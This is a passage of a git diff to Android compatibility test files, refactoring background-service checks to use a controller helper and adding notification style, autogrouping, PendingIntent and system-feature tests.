+            controller.getUidWatcher().waitFor(WatchUidRunner.CMD_IDLE, null, WAIT_TIME);
+            // There could be a transient 'cached' state here before 'uncached' if uid state
+            // changes are dispatched before receiver is started.
+            controller.getUidWatcher().waitFor(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
+            controller.getUidWatcher().expect(WatchUidRunner.CMD_PROCSTATE, "RCVR", WAIT_TIME);
+            controller.getUidWatcher().expect(WatchUidRunner.CMD_CACHED, null, WAIT_TIME);
+            controller.getUidWatcher().expect(WatchUidRunner.CMD_PROCSTATE, "CEM", WAIT_TIME);
+
             // Now put app on whitelist, should allow service to run.
-            cmd = "cmd deviceidle whitelist +" + SIMPLE_PACKAGE_NAME;
-            result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
+            controller.addToWhitelist();
 
             // Try starting the service now that the app is whitelisted...  should work!
             br.sendAndWait(mContext, broadcastIntent, Activity.RESULT_OK, null, null, WAIT_TIME);
@@ -562,24 +710,28 @@
             }
             conn.waitForConnect(WAIT_TIME);
 
+            // Also make sure the uid state reports are as expected.
+            controller.getUidWatcher().expect(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
+            controller.getUidWatcher().waitFor(WatchUidRunner.CMD_PROCSTATE, "SVC", WAIT_TIME);
+
             // Okay, bring down the service.
             mContext.stopService(mServiceIntent);
             conn.waitForDisconnect(WAIT_TIME);
 
+            controller.getUidWatcher().expect(WatchUidRunner.CMD_CACHED, null, WAIT_TIME);
+            controller.getUidWatcher().expect(WatchUidRunner.CMD_PROCSTATE, "CEM", WAIT_TIME);
+
         } finally {
             mContext.stopService(mServiceIntent);
-            conn.stopMonitoring();
-
-            cmd = "appops set " + SIMPLE_PACKAGE_NAME + " RUN_IN_BACKGROUND allow";
-            result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
-            cmd = "cmd deviceidle whitelist -" + SIMPLE_PACKAGE_NAME;
-            result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
-
+            conn.stopMonitoringIfNeeded();
             controller.cleanup();
         }
     }
 
 
+    /**
+     * Test that background check does allow services to be started from activities.
+     */
     public void testBackgroundCheckActivityService() throws Exception {
         final Intent activityIntent = new Intent();
         activityIntent.setClassName(SIMPLE_PACKAGE_NAME,
@@ -590,24 +742,18 @@
         final ServiceConnectionHandler conn = new ServiceConnectionHandler(mContext,
                 mServiceIntent);
 
-        // First kill the process to start out in a stable state.
-        controller.ensureProcessGone(WAIT_TIME);
-
-        String cmd = "appops set " + SIMPLE_PACKAGE_NAME + " RUN_IN_BACKGROUND deny";
-        String result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
-
-        // We don't want to wait for the uid to actually go idle, we can force it now.
-        cmd = "am make-uid-idle " + SIMPLE_PACKAGE_NAME;
-        result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
-
-        // Make sure app is not yet on whitelist
-        cmd = "cmd deviceidle whitelist -" + SIMPLE_PACKAGE_NAME;
-        result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
-
-        // We will use this to monitor when the service is running.
-        conn.startMonitoring();
-
         try {
+            // First kill the process to start out in a stable state.
+            controller.ensureProcessGone(WAIT_TIME);
+
+            // Do initial setup.
+            controller.denyBackgroundOp(WAIT_TIME);
+            controller.makeUidIdle();
+            controller.removeFromWhitelist();
+
+            // We will use this to monitor when the service is running.
+            conn.startMonitoring();
+
             // Try starting activity that will start the service.  This should be okay.
             WaitForBroadcast waiter = new WaitForBroadcast(mInstrumentation.getTargetContext());
             waiter.prepare(ACTION_SIMPLE_ACTIVITY_START_SERVICE_RESULT);
@@ -620,20 +766,63 @@
             }
             conn.waitForConnect(WAIT_TIME);
 
+            final String expectedActivityState = (isScreenInteractive() && !isKeyguardLocked())
+                    ? "TOP" : "TPSL";
+            // Also make sure the uid state reports are as expected.
+            controller.getUidWatcher().waitFor(WatchUidRunner.CMD_ACTIVE, null, WAIT_TIME);
+            controller.getUidWatcher().expect(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
+            controller.getUidWatcher().expect(WatchUidRunner.CMD_PROCSTATE,
+                    expectedActivityState, WAIT_TIME);
+            controller.getUidWatcher().expect(WatchUidRunner.CMD_PROCSTATE, "SVC", WAIT_TIME);
+
             // Okay, bring down the service.
             mContext.stopService(mServiceIntent);
             conn.waitForDisconnect(WAIT_TIME);
 
+            controller.getUidWatcher().expect(WatchUidRunner.CMD_CACHED, null, WAIT_TIME);
+            controller.getUidWatcher().expect(WatchUidRunner.CMD_PROCSTATE, "CEM", WAIT_TIME);
+
+            // App isn't yet idle, so we should be able to start the service again.
+            mContext.startService(mServiceIntent);
+            conn.waitForConnect(WAIT_TIME);
+            controller.getUidWatcher().expect(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
+            controller.getUidWatcher().expect(WatchUidRunner.CMD_PROCSTATE, "SVC", WAIT_TIME);
+
+            // And now fast-forward to the app going idle, service should be stopped.
+            controller.makeUidIdle();
+            controller.getUidWatcher().waitFor(WatchUidRunner.CMD_IDLE, null, WAIT_TIME);
+
+            conn.waitForDisconnect(WAIT_TIME);
+            controller.getUidWatcher().waitFor(WatchUidRunner.CMD_CACHED, null, WAIT_TIME);
+            controller.getUidWatcher().expect(WatchUidRunner.CMD_PROCSTATE, "CEM", WAIT_TIME);
+
+            // No longer should be able to start service.
+            boolean failed = false;
+            try {
+                mContext.startService(mServiceIntent);
+            } catch (IllegalStateException e) {
+                failed = true;
+            }
+            if (!failed) {
+                fail("Service was allowed to start while in the background");
+            }
+
         } finally {
             mContext.stopService(mServiceIntent);
-            conn.stopMonitoring();
-
-            cmd = "appops set " + SIMPLE_PACKAGE_NAME + " RUN_IN_BACKGROUND allow";
-            result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
-            cmd = "cmd deviceidle whitelist -" + SIMPLE_PACKAGE_NAME;
-            result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
-
+            conn.stopMonitoringIfNeeded();
             controller.cleanup();
         }
     }
+
+    private boolean isScreenInteractive() {
+        final PowerManager powerManager =
+                (PowerManager) mContext.getSystemService(Context.POWER_SERVICE);
+        return powerManager.isInteractive();
+    }
+
+    private boolean isKeyguardLocked() {
+        final KeyguardManager keyguardManager =
+                (KeyguardManager) mContext.getSystemService(Context.KEYGUARD_SERVICE);
+        return keyguardManager.isKeyguardLocked();
+    }
 }
diff --git a/tests/app/src/android/app/cts/ActivityManagerTest.java b/tests/app/src/android/app/cts/ActivityManagerTest.java
index fbb32a2..31cb632 100644
--- a/tests/app/src/android/app/cts/ActivityManagerTest.java
+++ b/tests/app/src/android/app/cts/ActivityManagerTest.java
@@ -283,13 +283,13 @@
         // Test illegal parameter
         List<RunningServiceInfo> runningServiceInfo;
         runningServiceInfo = mActivityManager.getRunningServices(-1);
-        assertTrue(runningServiceInfo.size() == 0);
+        assertTrue(runningServiceInfo.isEmpty());
 
         runningServiceInfo = mActivityManager.getRunningServices(0);
-        assertTrue(runningServiceInfo.size() == 0);
+        assertTrue(runningServiceInfo.isEmpty());
 
         runningServiceInfo = mActivityManager.getRunningServices(5);
-        assertTrue(runningServiceInfo.size() >= 0 && runningServiceInfo.size() <= 5);
+        assertTrue(runningServiceInfo.size() <= 5);
 
         Intent intent = new Intent();
         intent.setClass(mInstrumentation.getTargetContext(), MockService.class);
diff --git a/tests/app/src/android/app/cts/NotificationManagerTest.java b/tests/app/src/android/app/cts/NotificationManagerTest.java
index 3200409..b6077ca 100644
--- a/tests/app/src/android/app/cts/NotificationManagerTest.java
+++ b/tests/app/src/android/app/cts/NotificationManagerTest.java
@@ -24,21 +24,25 @@
 import android.app.stubs.R;
 import android.content.Context;
 import android.content.Intent;
+import android.graphics.Bitmap;
+import android.graphics.drawable.Icon;
 import android.media.AudioAttributes;
+import android.media.session.MediaSession;
 import android.net.Uri;
+import android.os.Bundle;
 import android.provider.Settings;
 import android.provider.Telephony.Threads;
 import android.service.notification.StatusBarNotification;
 import android.test.AndroidTestCase;
 import android.util.Log;
 
+import java.util.ArrayList;
+import java.util.Arrays;
 import java.util.HashMap;
 import java.util.List;
 import java.util.Map;
 import java.util.UUID;
 
-import java.util.Arrays;
-
 public class NotificationManagerTest extends AndroidTestCase {
     final String TAG = NotificationManagerTest.class.getSimpleName();
     final boolean DEBUG = false;
@@ -58,6 +62,10 @@
         mNotificationManager.cancelAll();
         mNotificationManager.createNotificationChannel(new NotificationChannel(
                 NOTIFICATION_CHANNEL_ID, "name", NotificationManager.IMPORTANCE_DEFAULT));
+        // delay between tests so notifications aren't dropped by the rate limiter
+        try {
+            Thread.sleep(500);
+        } catch(InterruptedException e) {}
     }
 
     @Override
@@ -278,6 +286,10 @@
                 continue;
             }
             assertFalse(channel3.getId().equals(nc.getId()));
+            if (!channelMap.containsKey(nc.getId())) {
+                // failed cleanup from prior test run; ignore
+                continue;
+            }
             compareChannels(channelMap.get(nc.getId()), nc);
         }
     }
@@ -375,7 +387,269 @@
         checkNotificationExistence(id, false);
     }
 
+    public void testMediaStyle() throws Exception {
+        mNotificationManager.cancelAll();
+        final int id = 99;
+        MediaSession session = new MediaSession(getContext(), "media");
+
+        final Notification notification =
+                new Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
+                        .setSmallIcon(R.drawable.black)
+                        .setContentTitle("notify#" + id)
+                        .setContentText("This is #" + id + "notification  ")
+                        .addAction(new Notification.Action.Builder(
+                                Icon.createWithResource(getContext(), R.drawable.icon_black),
+                                "play", getPendingIntent()).build())
+                        .addAction(new Notification.Action.Builder(
+                                Icon.createWithResource(getContext(), R.drawable.icon_blue),
+                                "pause", getPendingIntent()).build())
+                        .setStyle(new Notification.MediaStyle()
+                                .setShowActionsInCompactView(0, 1)
+                                .setMediaSession(session.getSessionToken()))
+                        .build();
+        mNotificationManager.notify(id, notification);
+
+        if (!checkNotificationExistence(id, /*shouldExist=*/ true)) {
+            fail("couldn't find posted notification id=" + id);
+        }
+    }
+
+    public void testInboxStyle() throws Exception {
+        final int id = 100;
+
+        final Notification notification =
+                new Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
+                        .setSmallIcon(R.drawable.black)
+                        .setContentTitle("notify#" + id)
+                        .setContentText("This is #" + id + "notification  ")
+                        .addAction(new Notification.Action.Builder(
+                                Icon.createWithResource(getContext(), R.drawable.icon_black),
+                                "a1", getPendingIntent()).build())
+                        .addAction(new Notification.Action.Builder(
+                                Icon.createWithResource(getContext(), R.drawable.icon_blue),
+                                "a2", getPendingIntent()).build())
+                        .setStyle(new Notification.InboxStyle().addLine("line")
+                                .setSummaryText("summary"))
+                        .build();
+        mNotificationManager.notify(id, notification);
+
+        if (!checkNotificationExistence(id, /*shouldExist=*/ true)) {
+            fail("couldn't find posted notification id=" + id);
+        }
+    }
+
+    public void testBigTextStyle() throws Exception {
+        final int id = 101;
+
+        final Notification notification =
+                new Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
+                        .setSmallIcon(R.drawable.black)
+                        .setContentTitle("notify#" + id)
+                        .setContentText("This is #" + id + "notification  ")
+                        .addAction(new Notification.Action.Builder(
+                                Icon.createWithResource(getContext(), R.drawable.icon_black),
+                                "a1", getPendingIntent()).build())
+                        .addAction(new Notification.Action.Builder(
+                                Icon.createWithResource(getContext(), R.drawable.icon_blue),
+                                "a2", getPendingIntent()).build())
+                        .setStyle(new Notification.BigTextStyle()
+                                .setBigContentTitle("big title")
+                                .bigText("big text")
+                                .setSummaryText("summary"))
+                        .build();
+        mNotificationManager.notify(id, notification);
+
+        if (!checkNotificationExistence(id, /*shouldExist=*/ true)) {
+            fail("couldn't find posted notification id=" + id);
+        }
+    }
+
+    public void testBigPictureStyle() throws Exception {
+        final int id = 102;
+
+        final Notification notification =
+                new Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
+                        .setSmallIcon(R.drawable.black)
+                        .setContentTitle("notify#" + id)
+                        .setContentText("This is #" + id + "notification  ")
+                        .addAction(new Notification.Action.Builder(
+                                Icon.createWithResource(getContext(), R.drawable.icon_black),
+                                "a1", getPendingIntent()).build())
+                        .addAction(new Notification.Action.Builder(
+                                Icon.createWithResource(getContext(), R.drawable.icon_blue),
+                                "a2", getPendingIntent()).build())
+                        .setStyle(new Notification.BigPictureStyle()
+                        .setBigContentTitle("title")
+                        .bigPicture(Bitmap.createBitmap(100, 100, Bitmap.Config.RGB_565))
+                        .bigLargeIcon(Icon.createWithResource(getContext(), R.drawable.icon_blue))
+                        .setSummaryText("summary"))
+                        .build();
+        mNotificationManager.notify(id, notification);
+
+        if (!checkNotificationExistence(id, /*shouldExist=*/ true)) {
+            fail("couldn't find posted notification id=" + id);
+        }
+    }
+
+    public void testAutogrouping() throws Exception {
+        sendNotification(1, R.drawable.black);
+        sendNotification(2, R.drawable.blue);
+        sendNotification(3, R.drawable.yellow);
+        sendNotification(4, R.drawable.yellow);
+
+        assertNotificationCount(5);
+        assertAllPostedNotificationsAutogrouped();
+    }
+
+    public void testAutogrouping_autogroupStaysUntilAllNotificationsCanceled() throws Exception {
+        sendNotification(1, R.drawable.black);
+        sendNotification(2, R.drawable.blue);
+        sendNotification(3, R.drawable.yellow);
+        sendNotification(4, R.drawable.yellow);
+
+        assertNotificationCount(5);
+        assertAllPostedNotificationsAutogrouped();
+
+        // Assert all notis stay in the same autogroup until all children are canceled
+        for (int i = 4; i > 1; i--) {
+            cancelAndPoll(i);
+            assertNotificationCount(i);
+            assertAllPostedNotificationsAutogrouped();
+        }
+        cancelAndPoll(1);
+        assertNotificationCount(0);
+    }
+
+    public void testAutogrouping_autogroupStaysUntilAllNotificationsAddedToGroup()
+            throws Exception {
+        String newGroup = "new!";
+        sendNotification(1, R.drawable.black);
+        sendNotification(2, R.drawable.blue);
+        sendNotification(3, R.drawable.yellow);
+        sendNotification(4, R.drawable.yellow);
+
+        List<Integer> postedIds = new ArrayList<>();
+        postedIds.add(1);
+        postedIds.add(2);
+        postedIds.add(3);
+        postedIds.add(4);
+
+        assertNotificationCount(5);
+        assertAllPostedNotificationsAutogrouped();
+
+        // Assert all notis stay in the same autogroup until all children are canceled
+        for (int i = 4; i > 1; i--) {
+            sendNotification(i, newGroup, R.drawable.blue);
+            postedIds.remove(postedIds.size() - 1);
+            assertNotificationCount(5);
+            assertOnlySomeNotificationsAutogrouped(postedIds);
+        }
+        sendNotification(1, newGroup, R.drawable.blue);
+        assertNotificationCount(4); // no more autogroup summary
+        postedIds.remove(0);
+        assertOnlySomeNotificationsAutogrouped(postedIds);
+    }
+
+    public void testNewNotificationsAddedToAutogroup_ifOriginalNotificationsCanceled()
+        throws Exception {
+        String newGroup = "new!";
+        sendNotification(10, R.drawable.black);
+        sendNotification(20, R.drawable.blue);
+        sendNotification(30, R.drawable.yellow);
+        sendNotification(40, R.drawable.yellow);
+
+        List<Integer> postedIds = new ArrayList<>();
+        postedIds.add(10);
+        postedIds.add(20);
+        postedIds.add(30);
+        postedIds.add(40);
+
+        assertNotificationCount(5);
+        assertAllPostedNotificationsAutogrouped();
+
+        // regroup all but one of the children
+        for (int i = postedIds.size() - 1; i > 0; i--) {
+            try {
+                Thread.sleep(200);
+            } catch (InterruptedException ex) {
+                // pass
+            }
+            int id = postedIds.remove(i);
+            sendNotification(id, newGroup, R.drawable.blue);
+            assertNotificationCount(5);
+            assertOnlySomeNotificationsAutogrouped(postedIds);
+        }
+
+        // send a new non-grouped notification. since the autogroup summary still exists,
+        // the notification should be added to it
+        sendNotification(50, R.drawable.blue);
+        postedIds.add(50);
+        try {
+            Thread.sleep(200);
+        } catch (InterruptedException ex) {
+            // pass
+        }
+        assertOnlySomeNotificationsAutogrouped(postedIds);
+    }
+
+    private PendingIntent getPendingIntent() {
+        return PendingIntent.getActivity(
+                getContext(), 0, new Intent(getContext(), this.getClass()), 0);
+    }
+
+    private boolean isGroupSummary(Notification n) {
+        return n.getGroup() != null && (n.flags & Notification.FLAG_GROUP_SUMMARY) != 0;
+    }
+
+    private void assertOnlySomeNotificationsAutogrouped(List<Integer> autoGroupedIds) {
+        String expectedGroupKey = null;
+        StatusBarNotification[] sbns = mNotificationManager.getActiveNotifications();
+        for (StatusBarNotification sbn : sbns) {
+            if (isGroupSummary(sbn.getNotification())
+                    || autoGroupedIds.contains(sbn.getId())) {
+                assertTrue(sbn.getKey() + " is unexpectedly not autogrouped",
+                        sbn.getOverrideGroupKey() != null);
+                if (expectedGroupKey == null) {
+                    expectedGroupKey = sbn.getGroupKey();
+                }
+                assertEquals(expectedGroupKey, sbn.getGroupKey());
+            } else {
+                assertTrue(sbn.isGroup());
+                assertTrue(sbn.getKey() + " is unexpectedly autogrouped,",
+                        sbn.getOverrideGroupKey() == null);
+                assertTrue(sbn.getKey() + " has an unusual group key",
+                        sbn.getGroupKey() != expectedGroupKey);
+            }
+        }
+    }
+
+    private void assertAllPostedNotificationsAutogrouped() {
+        String expectedGroupKey = null;
+        StatusBarNotification[] sbns = mNotificationManager.getActiveNotifications();
+        for (StatusBarNotification sbn : sbns) {
+            // all notis should be in a group determined by autogrouping
+            assertTrue(sbn.getOverrideGroupKey() != null);
+            if (expectedGroupKey == null) {
+                expectedGroupKey = sbn.getGroupKey();
+            }
+            // all notis should be in the same group
+            assertEquals(expectedGroupKey, sbn.getGroupKey());
+        }
+    }
+
+    private void cancelAndPoll(int id) {
+        mNotificationManager.cancel(id);
+
+        if (!checkNotificationExistence(id, /*shouldExist=*/ false)) {
+            fail("canceled notification was still alive, id=" + 1);
+        }
+    }
+
     private void sendNotification(final int id, final int icon) throws Exception {
+        sendNotification(id, null, icon);
+    }
+
+    private void sendNotification(final int id, String groupKey, final int icon) throws Exception {
         final Intent intent = new Intent(Intent.ACTION_MAIN, Threads.CONTENT_URI);
 
         intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_SINGLE_TOP
@@ -385,12 +659,13 @@
         final PendingIntent pendingIntent = PendingIntent.getActivity(mContext, 0, intent, 0);
         final Notification notification =
                 new Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
-                    .setSmallIcon(icon)
-                    .setWhen(System.currentTimeMillis())
-                    .setContentTitle("notify#" + id)
-                    .setContentText("This is #" + id + "notification  ")
-                    .setContentIntent(pendingIntent)
-                    .build();
+                        .setSmallIcon(icon)
+                        .setWhen(System.currentTimeMillis())
+                        .setContentTitle("notify#" + id)
+                        .setContentText("This is #" + id + "notification  ")
+                        .setContentIntent(pendingIntent)
+                        .setGroup(groupKey)
+                        .build();
         mNotificationManager.notify(id, notification);
 
         if (!checkNotificationExistence(id, /*shouldExist=*/ true)) {
@@ -401,9 +676,9 @@
     private boolean checkNotificationExistence(int id, boolean shouldExist) {
         // notification is a bit asynchronous so it may take a few ms to appear in
         // getActiveNotifications()
-        // we will check for it for up to 200ms before giving up
+        // we will check for it for up to 300ms before giving up
         boolean found = false;
-        for (int tries=3; tries-->0;) {
+        for (int tries = 3; tries--> 0;) {
             // Need reset flag.
             found = false;
             final StatusBarNotification[] sbns = mNotificationManager.getActiveNotifications();
@@ -423,6 +698,24 @@
         return found == shouldExist;
     }
 
+    private void assertNotificationCount(int expectedCount) {
+        // notification is a bit asynchronous so it may take a few ms to appear in
+        // getActiveNotifications()
+        // we will check for it for up to 400ms before giving up
+        int lastCount = 0;
+        for (int tries = 4; tries-- > 0;) {
+            final StatusBarNotification[] sbns = mNotificationManager.getActiveNotifications();
+            lastCount = sbns.length;
+            if (expectedCount == lastCount) return;
+            try {
+                Thread.sleep(100);
+            } catch (InterruptedException ex) {
+                // pass
+            }
+        }
+        fail("Expected " + expectedCount + " posted notifications, were " +  lastCount);
+    }
+
     private void compareChannels(NotificationChannel expected, NotificationChannel actual) {
         if (actual == null) {
             fail("actual channel is null");
diff --git a/tests/app/src/android/app/cts/PendingIntentTest.java b/tests/app/src/android/app/cts/PendingIntentTest.java
index 92000e6..b0226c9 100644
--- a/tests/app/src/android/app/cts/PendingIntentTest.java
+++ b/tests/app/src/android/app/cts/PendingIntentTest.java
@@ -21,8 +21,10 @@
 import android.app.stubs.MockReceiver;
 import android.app.stubs.MockService;
 import android.app.stubs.PendingIntentStubActivity;
+import android.content.BroadcastReceiver;
 import android.content.Context;
 import android.content.Intent;
+import android.content.IntentFilter;
 import android.os.Bundle;
 import android.os.Handler;
 import android.os.Looper;
@@ -32,6 +34,9 @@
 import android.test.AndroidTestCase;
 import android.util.Log;
 
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
 public class PendingIntentTest extends AndroidTestCase {
 
     private static final int WAIT_TIME = 10000;
@@ -196,6 +201,80 @@
         pendingIntentSendError(mPendingIntent);
     }
 
+    // Local receiver for examining delivered broadcast intents
+    private class ExtraReceiver extends BroadcastReceiver {
+        private final String extraName;
+
+        public volatile int extra = 0;
+        public CountDownLatch latch = null;
+
+        public ExtraReceiver(String name) {
+            extraName = name;
+        }
+
+        public void onReceive(Context ctx, Intent intent) {
+            extra = intent.getIntExtra(extraName, 0);
+            latch.countDown();
+        }
+
+        public void reset() {
+            extra = 0;
+            latch = new CountDownLatch(1);
+        }
+
+        public boolean waitForReceipt() throws InterruptedException {
+            return latch.await(WAIT_TIME, TimeUnit.MILLISECONDS);
+        }
+    }
+
+    public void testUpdateCurrent() throws InterruptedException, CanceledException {
+        final int EXTRA_1 = 50;
+        final int EXTRA_2 = 38;
+        final String EXTRA_NAME = "test_extra";
+        final String BROADCAST_ACTION = "testUpdateCurrent_action";
+
+        final Context context = getContext();
+        final ExtraReceiver br = new ExtraReceiver(EXTRA_NAME);
+        final IntentFilter filter = new IntentFilter(BROADCAST_ACTION);
+        context.registerReceiver(br, filter);
+
+        // Baseline: establish that we get the extra properly
+        PendingIntent pi;
+        Intent intent = new Intent(BROADCAST_ACTION);
+        intent.putExtra(EXTRA_NAME, EXTRA_1);
+
+        pi = PendingIntent.getBroadcast(context, 0, intent, 0);
+
+        try {
+            br.reset();
+            pi.send();
+            assertTrue(br.waitForReceipt());
+            assertTrue(br.extra == EXTRA_1);
+
+            // Change the extra in the Intent
+            intent.putExtra(EXTRA_NAME, EXTRA_2);
+
+            // Repeat PendingIntent.getBroadcast() *without* UPDATE_CURRENT, so we expect
+            // the underlying Intent to still be the initial one with EXTRA_1
+            pi = PendingIntent.getBroadcast(context, 0, intent, 0);
+            br.reset();
+            pi.send();
+            assertTrue(br.waitForReceipt());
+            assertTrue(br.extra == EXTRA_1);
+
+            // This time use UPDATE_CURRENT, and expect to get the updated extra when the
+            // PendingIntent is sent
+            pi = PendingIntent.getBroadcast(context, 0, intent, PendingIntent.FLAG_UPDATE_CURRENT);
+            br.reset();
+            pi.send();
+            assertTrue(br.waitForReceipt());
+            assertTrue(br.extra == EXTRA_2);
+        } finally {
+            pi.cancel();
+            context.unregisterReceiver(br);
+        }
+    }
+
     public void testGetService() throws InterruptedException, CanceledException {
         MockService.prepareStart();
         mIntent = new Intent();
diff --git a/tests/app/src/android/app/cts/PipActivityTest.java b/tests/app/src/android/app/cts/PipActivityTest.java
index a8cfc90..bceb748 100644
--- a/tests/app/src/android/app/cts/PipActivityTest.java
+++ b/tests/app/src/android/app/cts/PipActivityTest.java
@@ -17,6 +17,7 @@
 package android.app.cts;
 
 import android.app.Instrumentation;
+import android.app.PictureInPictureParams;
 import android.app.stubs.PipActivity;
 import android.test.ActivityInstrumentationTestCase2;
 
@@ -58,9 +59,9 @@
                 } else {
                     boolean pipSupportDisabled = false;
                     try {
-                        mActivity.enterPictureInPictureMode();
+                        pipSupportDisabled = !mActivity.enterPictureInPictureMode(
+                                new PictureInPictureParams.Builder().build());
                     } catch (IllegalStateException e) {
-                        // Pip not supported
                         pipSupportDisabled = true;
                     }
                     assertTrue(pipSupportDisabled);
diff --git a/tests/app/src/android/app/cts/PipNotSupportedActivityTest.java b/tests/app/src/android/app/cts/PipNotSupportedActivityTest.java
index d33ff4d..810c353 100644
--- a/tests/app/src/android/app/cts/PipNotSupportedActivityTest.java
+++ b/tests/app/src/android/app/cts/PipNotSupportedActivityTest.java
@@ -17,6 +17,7 @@
 package android.app.cts;
 
 import android.app.Instrumentation;
+import android.app.PictureInPictureParams;
 import android.app.stubs.PipNotSupportedActivity;
 import android.test.ActivityInstrumentationTestCase2;
 
@@ -42,7 +43,8 @@
             public void run() {
                 boolean pipSupportDisabled = false;
                 try {
-                    mActivity.enterPictureInPictureMode();
+                    pipSupportDisabled = !mActivity.enterPictureInPictureMode(
+                            new PictureInPictureParams.Builder().build());
                 } catch (IllegalStateException e) {
                     // Pip not supported
                     pipSupportDisabled = true;
diff --git a/tests/app/src/android/app/cts/SystemFeaturesTest.java b/tests/app/src/android/app/cts/SystemFeaturesTest.java
index b77427b..7af4802 100644
--- a/tests/app/src/android/app/cts/SystemFeaturesTest.java
+++ b/tests/app/src/android/app/cts/SystemFeaturesTest.java
@@ -258,6 +258,14 @@
         }
     }
 
+    public void testLowRamFeature() {
+        if (mActivityManager.isLowRamDevice()) {
+            assertAvailable(PackageManager.FEATURE_RAM_LOW);
+        } else {
+            assertAvailable(PackageManager.FEATURE_RAM_NORMAL);
+        }
+    }
+
     public void testNfcFeatures() {
         if (NfcAdapter.getDefaultAdapter(mContext) != null) {
             // Watches MAY support all FEATURE_NFC features when an NfcAdapter is available, but
@@ -470,8 +478,13 @@
         if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE) &&
                 !mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEVISION) &&
                 !mPackageManager.hasSystemFeature(PackageManager.FEATURE_WATCH) &&
+                !mPackageManager.hasSystemFeature(PackageManager.FEATURE_EMBEDDED) &&
                 mPackageManager.hasSystemFeature(PackageManager.FEATURE_MICROPHONE) &&
                 mPackageManager.hasSystemFeature(PackageManager.FEATURE_TOUCHSCREEN)) {
+            // USB accessory mode is only a requirement for devices with USB ports supporting
+            // peripheral mode. As there is no public API to distinguish a device with only host
+            // mode support from having both peripheral and host support, the test may have
+            // false negatives.
             assertAvailable(PackageManager.FEATURE_USB_ACCESSORY);
         }
     }
diff --git a/tests/app/src/android/app/cts/WallpaperManagerTest.java b/tests/app/src/android/app/cts/WallpaperManagerTest.java
index c564c8b..e267503 100644
--- a/tests/app/src/android/app/cts/WallpaperManagerTest.java
+++ b/tests/app/src/android/app/cts/WallpaperManagerTest.java
@@ -37,6 +37,7 @@
 import android.graphics.Color;
 import android.graphics.Point;
 import android.os.Handler;
+import android.os.HandlerThread;
 import android.os.Looper;
 import android.support.test.InstrumentationRegistry;
 import android.support.test.runner.AndroidJUnit4;
@@ -65,12 +66,16 @@
 
     private WallpaperManager mWallpaperManager;
     private Context mContext;
+    private Handler mHandler;
 
     @Before
     public void setUp() throws Exception {
         MockitoAnnotations.initMocks(this);
         mContext = InstrumentationRegistry.getTargetContext();
         mWallpaperManager = WallpaperManager.getInstance(mContext);
+        final HandlerThread handlerThread = new HandlerThread("TestCallbacks");
+        handlerThread.start();
+        mHandler = new Handler(handlerThread.getLooper());
     }
 
     @Test
@@ -200,11 +205,11 @@
 
         // Add and remove listener
         WallpaperManager.OnColorsChangedListener listener = getTestableListener();
-        mWallpaperManager.addOnColorsChangedListener(listener);
+        mWallpaperManager.addOnColorsChangedListener(listener, mHandler);
         mWallpaperManager.removeOnColorsChangedListener(listener);
 
         // Verify that the listener is not called
-        mWallpaperManager.addOnColorsChangedListener(counter);
+        mWallpaperManager.addOnColorsChangedListener(counter, mHandler);
         try {
             mWallpaperManager.setResource(R.drawable.robot);
             if (!latch.await(5, TimeUnit.SECONDS)) {
@@ -297,8 +302,8 @@
             });
         };
 
-        mWallpaperManager.addOnColorsChangedListener(listener);
-        mWallpaperManager.addOnColorsChangedListener(counter);
+        mWallpaperManager.addOnColorsChangedListener(listener, mHandler);
+        mWallpaperManager.addOnColorsChangedListener(counter, mHandler);
 
         try {
             mWallpaperManager.setResource(R.drawable.robot, which);
@@ -329,8 +334,8 @@
             latch.countDown();
         };
 
-        mWallpaperManager.addOnColorsChangedListener(listener);
-        mWallpaperManager.addOnColorsChangedListener(counter);
+        mWallpaperManager.addOnColorsChangedListener(listener, mHandler);
+        mWallpaperManager.addOnColorsChangedListener(counter, mHandler);
 
         try {
             mWallpaperManager.clear(which);
@@ -386,7 +391,7 @@
             }
         };
         mContext.registerReceiver(receiver, new IntentFilter(Intent.ACTION_WALLPAPER_CHANGED));
-        mWallpaperManager.addOnColorsChangedListener(callback);
+        mWallpaperManager.addOnColorsChangedListener(callback, mHandler);
 
         try {
             mWallpaperManager.setBitmap(bmp);
diff --git a/tests/app/src/android/app/cts/android/app/cts/tools/ServiceConnectionHandler.java b/tests/app/src/android/app/cts/android/app/cts/tools/ServiceConnectionHandler.java
index 191a75a..f5bb5a3 100644
--- a/tests/app/src/android/app/cts/android/app/cts/tools/ServiceConnectionHandler.java
+++ b/tests/app/src/android/app/cts/android/app/cts/tools/ServiceConnectionHandler.java
@@ -102,6 +102,14 @@
         }
     }
 
+    public void stopMonitoringIfNeeded() {
+        synchronized (this) {
+            if (mMonitoring) {
+                stopMonitoring();
+            }
+        }
+    }
+
     public void stopMonitoring() {
         synchronized (this) {
             if (!mMonitoring) {
diff --git a/tests/app/src/android/app/cts/android/app/cts/tools/ServiceProcessController.java b/tests/app/src/android/app/cts/android/app/cts/tools/ServiceProcessController.java
index 605cbe2..9cad7a3 100644
--- a/tests/app/src/android/app/cts/android/app/cts/tools/ServiceProcessController.java
+++ b/tests/app/src/android/app/cts/android/app/cts/tools/ServiceProcessController.java
@@ -46,8 +46,10 @@
     final ActivityManager mAm;
     final Parcel mData;
     final ServiceConnectionHandler[] mConnections;
+    final int mUid;
     final UidImportanceListener mUidForegroundListener;
     final UidImportanceListener mUidGoneListener;
